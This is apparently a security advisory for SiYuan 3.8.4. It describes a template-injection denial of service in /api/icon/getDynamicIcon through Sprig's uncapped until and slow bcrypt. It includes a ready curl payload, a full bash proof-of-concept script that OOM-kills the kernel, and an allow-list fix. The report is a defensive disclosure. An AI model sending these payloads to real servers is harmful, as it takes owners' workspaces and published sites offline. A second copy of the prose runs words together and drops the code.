Summary
/api/icon/getDynamicIcon parses its content query parameter as a Go
text/template whose function map is sprig.TxtFuncMap() with three entries
deleted. Sprig's until(n) is an append loop with no cap, so one request
allocates whatever integer the caller chooses.
Measured: one GET from an ordinary publish reader account took the container
from 116 MiB to 3.7 GiB. With the container capped at 700 MB, a size that is
unremarkable for a self-hosted note server, a single request produced
OOMKilled=true exit=137. The process that dies is the kernel, so the
owner's own workspace goes down with the published site.
This is what is left of GHSA-gcm7-57gf-953c (CVE-2026-54068) on this endpoint.
That report was template injection here reaching querySQL, and the fix
removed sql.SQLTemplateFuncs from the icon template. The template itself, and
the rest of the function map, stayed.
I am not reporting remote code execution. I checked for it and did not find
it; see below.
Details
kernel/api/router.go:51 registers the route with one middleware:
ginServer.Handle("GET", "/api/icon/getDynamicIcon", model.CheckAuth, getDynamicIcon)
refreshPublishJWT in kernel/model/auth.go mints every publish-service
account's token with ClaimsKeyRole: RoleReader, and the publish reverse proxy
stamps that token onto each request, so CheckAuth alone means "any publish
reader", and "anyone at all" when Publish.Auth.Enable is false.
kernel/api/icon.go, generateTypeEightSVG, renders content as a template
whenever it contains the delimiter:
if strings.Contains(content, ".action{") {
content = model.RenderDynamicIconContentTemplate(content, id)
}
kernel/model/template.go:
func dynamicIconTemplateFuncs() template.FuncMap {
return filesys.BuiltInTemplateFuncs()
}
kernel/filesys/template.go:35:
func BuiltInTemplateFuncs() (ret template.FuncMap) {
ret = sprig.TxtFuncMap()
// 因为安全原因移除一些函数 https://github.com/siyuan-note/siyuan/issues/13426
delete(ret, "env")
delete(ret, "expandenv")
delete(ret, "getHostByName")
...
That deny-list is written for the template feature, where the template author
is the workspace owner. Here the author is a publish reader, or an anonymous
visitor, and the three deletions are the only thing between them and the rest
of Sprig.
until in sprig v3.3.0, numeric.go:67:
func until(count int) []int {
step := 1
if count < 0 {
step = -1
}
return untilStep(0, count, step)
}
func untilStep(start, stop, step int) []int {
v := []int{}
...
for i := start; i < stop; i += step {
v = append(v, i)
}
No cap, no context, no cancellation check. repeat n s does the same to a
string. bcrypt and htpasswd are deliberately slow KDFs, roughly 53 ms a
call on this box, and range until 200 wrapped around one cost 10.7 s of CPU
inside a single request; until 2000 makes that about 107 s.
What this is not
I looked for a file read, an SSRF and command execution before reporting this
as availability only, and did not find any:
env, expandenv and getHostByName are genuinely removed. I confirmed all
three return empty against a live 3.8.4.
readFile, tpl, include and lookup are Helm additions and are not
present in sprig v3.3.0's TxtFuncMap.
- The data model passed to the template is a
map[string]string, so there are
no methods on it to pivot through.
So the reachable abuse is resource allocation. The output is also
HTML-escaped and served with Content-Security-Policy: script-src 'none' and
X-Content-Type-Options: nosniff, so I am not claiming XSS either.
PoC
poc_template_dos.sh, reproduced at the end of this report. It pulls
b3log/siyuan:v3.8.4, boots a fresh workspace, and starts the publish service
on its default configuration: Publish.Auth.Enable is true with one reader
account, whose own credentials are used throughout. Section 3 measures the
curve with no memory limit; section 4 applies a 700 MB limit and kills the
kernel with one request. Needs docker, curl and python3.
Output from a cold start, verbatim:
### 0. boot SiYuan 3.8.4 from the official image, NO memory limit
kernel 3.8.4
### 1. one ordinary published document, and the publish service on its DEFAULT config
published doc 20260922114446-ru3585s
with no credentials: http=401 (publish auth works)
everything below uses the reader account's own credentials
### 2. what the reader can call in that template
uuidv4 b8ed5705-d5e6-4966-bb9d-a3aad7ee0301
b64enc "x" eA==
bcrypt "x" (slow KDF) $2a$10$pqilW9Q6QxVqtfuG40TDC.sjtLYNHp/MNlAC97m1PF8JbckMqR6gS
htpasswd "u" "p" u:$2a$10$lsdmdQKXdmtiGKPkX4pCXO8HXp4MEBYrjtSakIlwcw61vH2HvI9Eu
derivePassword Rude2$QafoJela
the three that were deleted for safety, confirmed still deleted:
env "HOME" ''
expandenv "$HOME" ''
getHostByName "example.com" ''
### 3. the allocation curve, one GET each, no memory limit on the container
baseline 115.8MiB / 46.85GiB
until 10000000 http=200 173ms 306.8MiB / 46.85GiB
until 50000000 http=200 1170ms 1.422GiB / 46.85GiB
until 150000000 http=200 1751ms 3.722GiB / 46.85GiB
linear in the integer the caller chose, and nothing caps it
### 4. now cap the container at 700 MB and send one request
until 400000000 http=000 (000 = the connection died)
container: exited OOMKilled=true exit=137
the published site: http=000
the owner kernel: http=000
the process that died is the kernel, so the owner's workspace went with it
Section 1 shows an unauthenticated request getting a clean 401, so nothing here
depends on publish authentication being weakened. Section 2 is there so the
deny-list is not something you have to take on trust: the three deletions work,
and everything beside them does too.
A single request, without the script:
curl -u reader:pass -G 'http://<published-site>/api/icon/getDynamicIcon' \
--data-urlencode 'type=8' \
--data-urlencode 'content=.action{len (until 400000000)}' \
--data-urlencode 'id=<any-published-document-id>'
The id has to be a document the reader may already see, since the template
only renders once the tree loads. A published site has at least one by
definition.
Impact
A publish reader ends the kernel process with one request, and anyone at all
when publish authentication is off. There is no precondition beyond the publish
service being reachable, which is the entire purpose of the publish service.
Recovery needs a restart. On a Docker deployment with a restart policy that is
a few seconds of downtime per request, which is still a trivially sustainable
outage. On a desktop install the process that dies is the one holding the
owner's workspace, so the owner loses their editor, not just their published
site.
The CPU variant is quieter and harder to notice: range until 2000 around
bcrypt costs roughly 107 s of server CPU for one request that looks like a
request for an icon.
Fix
Make dynamicIconTemplateFuncs() an allow-list rather than
BuiltInTemplateFuncs() minus three. The icon templates need string and date
formatting; they do not need until, repeat, bcrypt, htpasswd,
genPrivateKey or derivePassword:
func dynamicIconTemplateFuncs() template.FuncMap {
all := filesys.BuiltInTemplateFuncs()
ret := template.FuncMap{}
for _, name := range []string{"printf", "upper", "lower", "title", "trim",
"date", "dateInZone", "Weekday", "WeekdayCN", "ISOWeek", "ISOYear",
"FormatFloat", "add", "sub", "mul", "div"} {
if fn, ok := all[name]; ok {
ret[name] = fn
}
}
return ret
}
An allow-list is what makes this the last report of its kind on this endpoint.
The deny-list has been extended once already, for #13426, and adding until
and bcrypt to it leaves whatever Sprig adds next.
Two cheap belts alongside it: a length cap on content before it is parsed,
and template.Template.Execute against an io.Writer that stops after a fixed
number of bytes, so a large render is truncated rather than buffered. The
current code does buf.Grow(4096) and then lets the buffer grow without limit.
Versions
3.8.4, the current release. master is the same commit (9f775e8a) with no
commits after it at the time of writing, and neither kernel/api/icon.go,
kernel/model/template.go, kernel/filesys/template.go nor
kernel/api/router.go has changed since the release. The dependency is
github.com/Masterminds/sprig/v3 v3.3.0, from kernel/go.mod.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H 6.5 Medium
CWE-770, Allocation of Resources Without Limits or Throttling.
PR:L for the default configuration, which needs a publish reader account.
With Publish.Auth.Enable false, PR:N applies and the score is 7.5 High.
A:H because one request ends the process, and I have no argument for
anything lower there.
Credit
Dikshant Chandel (kewmine), Clickswave Labs Pvt Ltd.
Found during authorization research for Crossfyre (https://crossfyre.io), by
checking what was left of the CVE-2026-54068 fix rather than assuming the
handler was done.
Happy to be credited as:
Dikshant Chandel (Clickswave Labs Pvt Ltd)
The script
Save as poc_template_dos.sh, chmod +x, run. It cleans up after itself, including on
failure.
#!/usr/bin/env bash
# SiYuan 3.8.4: /api/icon/getDynamicIcon parses its `content` query parameter
# as a Go text/template whose function map is sprig.TxtFuncMap() with three
# entries deleted. sprig's until(n) is an uncapped append loop, so one request
# allocates whatever the caller asks for and OOM-kills the kernel.
#
# Runs against the DEFAULT publish configuration: Publish.Auth.Enable is true
# with one reader account, using that account's own credentials. Section 3
# measures the allocation curve with no memory limit; section 4 applies a
# 700 MB limit, an ordinary size for a self-hosted note server, and kills it
# with a single request.
#
# ./poc_template_dos.sh # needs docker, curl, python3
set -u
C=sy-poc-dos; KP=12826; PP=12828; AC='Poc-Access-2026'
RU=reader; RP='Reader-Pass-99'
W=$(mktemp -d); mkdir -p "$W/workspace"
K="http://127.0.0.1:$KP"; P="http://127.0.0.1:$PP"; JAR="$W/cookies"
adm(){ curl -s -m 25 -b "$JAR" -c "$JAR" -X POST "$K$1" -H 'Content-Type: application/json' -d "$2"; }
icon(){ curl -s -m 30 -u "$RU:$RP" -G "$P/api/icon/getDynamicIcon" --data-urlencode "type=8" \
--data-urlencode "content=$2" --data-urlencode "id=$1" \
| grep -o '>[^<>]*</text>' | sed 's/^>//; s|</text>||'; }
mem(){ docker stats --no-stream --format '{{.MemUsage}}' $C 2>/dev/null; }
jq1(){ python3 -c "import json,sys; print(json.load(sys.stdin)$1)"; }
trap 'docker rm -f $C >/dev/null 2>&1; rm -rf "$W"' EXIT
echo "### 0. boot SiYuan 3.8.4 from the official image, NO memory limit"
docker rm -f $C >/dev/null 2>&1
docker run -d --name $C -p 127.0.0.1:$KP:6806 -p 127.0.0.1:$PP:6808 \
-v "$W/workspace":/siyuan/workspace -e PUID="$(id -u)" -e PGID="$(id -g)" \
b3log/siyuan:v3.8.4 serve --workspace=/siyuan/workspace/ \
--accessAuthCode="$AC" --port=6806 >/dev/null
up=0; for i in $(seq 1 90); do curl -s -m 3 -X POST $K/api/system/version | grep -q 3.8.4 && { up=1; break; }; sleep 2; done
[ $up = 1 ] || { echo " kernel never came up:"; docker logs $C 2>&1 | tail -20; exit 1; }
echo " kernel $(curl -s -X POST $K/api/system/version | jq1 "['data']")"
echo "### 1. one ordinary published document, and the publish service on its DEFAULT config"
adm /api/system/loginAuth "{\"authCode\":\"$AC\"}" >/dev/null
NB=$(adm /api/notebook/createNotebook '{"name":"Lab"}' | jq1 "['data']['notebook']['id']")
D=$(adm /api/filetree/createDocWithMd "{\"notebook\":\"$NB\",\"path\":\"/Public notes\",\"markdown\":\"nothing secret\"}" | jq1 "['data']")
adm /api/setting/setPublish \
"{\"enable\":true,\"port\":6808,\"auth\":{\"enable\":true,\"accounts\":[{\"username\":\"$RU\",\"password\":\"$RP\",\"memo\":\"\"}]}}" >/dev/null
up=0; for i in $(seq 1 40); do curl -s -m 3 -o /dev/null "$P/" && { up=1; break; }; sleep 2; done
[ $up = 1 ] || { echo " publish service never came up"; exit 1; }
sleep 2
echo " published doc $D"
curl -s -m 8 -o /dev/null -w ' with no credentials: http=%{http_code} (publish auth works)\n' \
"$P/api/icon/getDynamicIcon?type=8&content=x&id=$D"
echo " everything below uses the reader account's own credentials"
echo "### 2. what the reader can call in that template"
printf ' %-30s %s\n' 'uuidv4' "$(icon "$D" '.action{uuidv4}')"
printf ' %-30s %s\n' 'b64enc "x"' "$(icon "$D" '.action{b64enc "x"}')"
printf ' %-30s %s\n' 'bcrypt "x" (slow KDF)' "$(icon "$D" '.action{bcrypt "x"}')"
printf ' %-30s %s\n' 'htpasswd "u" "p"' "$(icon "$D" '.action{htpasswd "u" "p"}')"
printf ' %-30s %s\n' 'derivePassword' "$(icon "$D" '.action{derivePassword 1 "long" "p" "u" "s"}')"
echo " the three that were deleted for safety, confirmed still deleted:"
for f in 'env "HOME"' 'expandenv "$HOME"' 'getHostByName "example.com"'; do
printf " %-30s '%s'\n" "$f" "$(icon "$D" ".action{$f}")"
done
echo "### 3. the allocation curve, one GET each, no memory limit on the container"
printf ' %-18s %s\n' baseline "$(mem)"
for n in 10000000 50000000 150000000; do
s=$(date +%s%N)
c=$(curl -s -m 120 -u "$RU:$RP" -o /dev/null -w '%{http_code}' -G "$P/api/icon/getDynamicIcon" \
--data-urlencode "type=8" --data-urlencode "content=.action{len (until $n)}" --data-urlencode "id=$D")
e=$(date +%s%N)
printf ' until %-12s http=%s %6sms %s\n' "$n" "$c" "$(( (e-s)/1000000 ))" "$(mem)"
done
echo " linear in the integer the caller chose, and nothing caps it"
echo "### 4. now cap the container at 700 MB and send one request"
docker update --memory 700m --memory-swap 700m $C >/dev/null 2>&1
sleep 2
curl -s -m 120 -u "$RU:$RP" -o /dev/null -w ' until 400000000 http=%{http_code} (000 = the connection died)\n' \
-G "$P/api/icon/getDynamicIcon" --data-urlencode "type=8" \
--data-urlencode "content=.action{len (until 400000000)}" --data-urlencode "id=$D"
sleep 4
echo " container: $(docker inspect -f '{{.State.Status}} OOMKilled={{.State.OOMKilled}} exit={{.State.ExitCode}}' $C)"
curl -s -m 8 -o /dev/null -w ' the published site: http=%{http_code}\n' -X POST $P/api/system/version
curl -s -m 8 -o /dev/null -w ' the owner kernel: http=%{http_code}\n' -X POST $K/api/system/version
echo " the process that died is the kernel, so the owner's workspace went with it"
echo " (lab torn down)"
Summary
/api/icon/getDynamicIconparses itscontentquery parameter as a Gotext/templatewhose function map issprig.TxtFuncMap()with three entriesdeleted. Sprig's
until(n)is anappendloop with no cap, so one requestallocates whatever integer the caller chooses.
Measured: one GET from an ordinary publish reader account took the container
from 116 MiB to 3.7 GiB. With the container capped at 700 MB, a size that is
unremarkable for a self-hosted note server, a single request produced
OOMKilled=true exit=137. The process that dies is the kernel, so theowner's own workspace goes down with the published site.
This is what is left of GHSA-gcm7-57gf-953c (CVE-2026-54068) on this endpoint.
That report was template injection here reaching
querySQL, and the fixremoved
sql.SQLTemplateFuncsfrom the icon template. The template itself, andthe rest of the function map, stayed.
I am not reporting remote code execution. I checked for it and did not find
it; see below.
Details
kernel/api/router.go:51registers the route with one middleware:refreshPublishJWTinkernel/model/auth.gomints every publish-serviceaccount's token with
ClaimsKeyRole: RoleReader, and the publish reverse proxystamps that token onto each request, so
CheckAuthalone means "any publishreader", and "anyone at all" when
Publish.Auth.Enableis false.kernel/api/icon.go,generateTypeEightSVG, renderscontentas a templatewhenever it contains the delimiter:
kernel/model/template.go:kernel/filesys/template.go:35:That deny-list is written for the template feature, where the template author
is the workspace owner. Here the author is a publish reader, or an anonymous
visitor, and the three deletions are the only thing between them and the rest
of Sprig.
untilin sprig v3.3.0,numeric.go:67:No cap, no context, no cancellation check.
repeat n sdoes the same to astring.
bcryptandhtpasswdare deliberately slow KDFs, roughly 53 ms acall on this box, and
range until 200wrapped around one cost 10.7 s of CPUinside a single request;
until 2000makes that about 107 s.What this is not
I looked for a file read, an SSRF and command execution before reporting this
as availability only, and did not find any:
env,expandenvandgetHostByNameare genuinely removed. I confirmed allthree return empty against a live 3.8.4.
readFile,tpl,includeandlookupare Helm additions and are notpresent in sprig v3.3.0's
TxtFuncMap.map[string]string, so there areno methods on it to pivot through.
So the reachable abuse is resource allocation. The output is also
HTML-escaped and served with
Content-Security-Policy: script-src 'none'andX-Content-Type-Options: nosniff, so I am not claiming XSS either.PoC
poc_template_dos.sh, reproduced at the end of this report. It pullsb3log/siyuan:v3.8.4, boots a fresh workspace, and starts the publish serviceon its default configuration:
Publish.Auth.Enableis true with one readeraccount, whose own credentials are used throughout. Section 3 measures the
curve with no memory limit; section 4 applies a 700 MB limit and kills the
kernel with one request. Needs docker, curl and python3.
Output from a cold start, verbatim:
Section 1 shows an unauthenticated request getting a clean 401, so nothing here
depends on publish authentication being weakened. Section 2 is there so the
deny-list is not something you have to take on trust: the three deletions work,
and everything beside them does too.
A single request, without the script:
The
idhas to be a document the reader may already see, since the templateonly renders once the tree loads. A published site has at least one by
definition.
Impact
A publish reader ends the kernel process with one request, and anyone at all
when publish authentication is off. There is no precondition beyond the publish
service being reachable, which is the entire purpose of the publish service.
Recovery needs a restart. On a Docker deployment with a restart policy that is
a few seconds of downtime per request, which is still a trivially sustainable
outage. On a desktop install the process that dies is the one holding the
owner's workspace, so the owner loses their editor, not just their published
site.
The CPU variant is quieter and harder to notice:
range until 2000aroundbcryptcosts roughly 107 s of server CPU for one request that looks like arequest for an icon.
Fix
Make
dynamicIconTemplateFuncs()an allow-list rather thanBuiltInTemplateFuncs()minus three. The icon templates need string and dateformatting; they do not need
until,repeat,bcrypt,htpasswd,genPrivateKeyorderivePassword:An allow-list is what makes this the last report of its kind on this endpoint.
The deny-list has been extended once already, for #13426, and adding
untiland
bcryptto it leaves whatever Sprig adds next.Two cheap belts alongside it: a length cap on
contentbefore it is parsed,and
template.Template.Executeagainst anio.Writerthat stops after a fixednumber of bytes, so a large render is truncated rather than buffered. The
current code does
buf.Grow(4096)and then lets the buffer grow without limit.Versions
3.8.4, the current release.
masteris the same commit (9f775e8a) with nocommits after it at the time of writing, and neither
kernel/api/icon.go,kernel/model/template.go,kernel/filesys/template.gonorkernel/api/router.gohas changed since the release. The dependency isgithub.com/Masterminds/sprig/v3 v3.3.0, fromkernel/go.mod.Severity
CWE-770, Allocation of Resources Without Limits or Throttling.
PR:Lfor the default configuration, which needs a publish reader account.With
Publish.Auth.Enablefalse,PR:Napplies and the score is 7.5 High.A:Hbecause one request ends the process, and I have no argument foranything lower there.
Credit
Dikshant Chandel (kewmine), Clickswave Labs Pvt Ltd.
Found during authorization research for Crossfyre (https://crossfyre.io), by
checking what was left of the CVE-2026-54068 fix rather than assuming the
handler was done.
Happy to be credited as:
The script
Save as
poc_template_dos.sh,chmod +x, run. It cleans up after itself, including onfailure.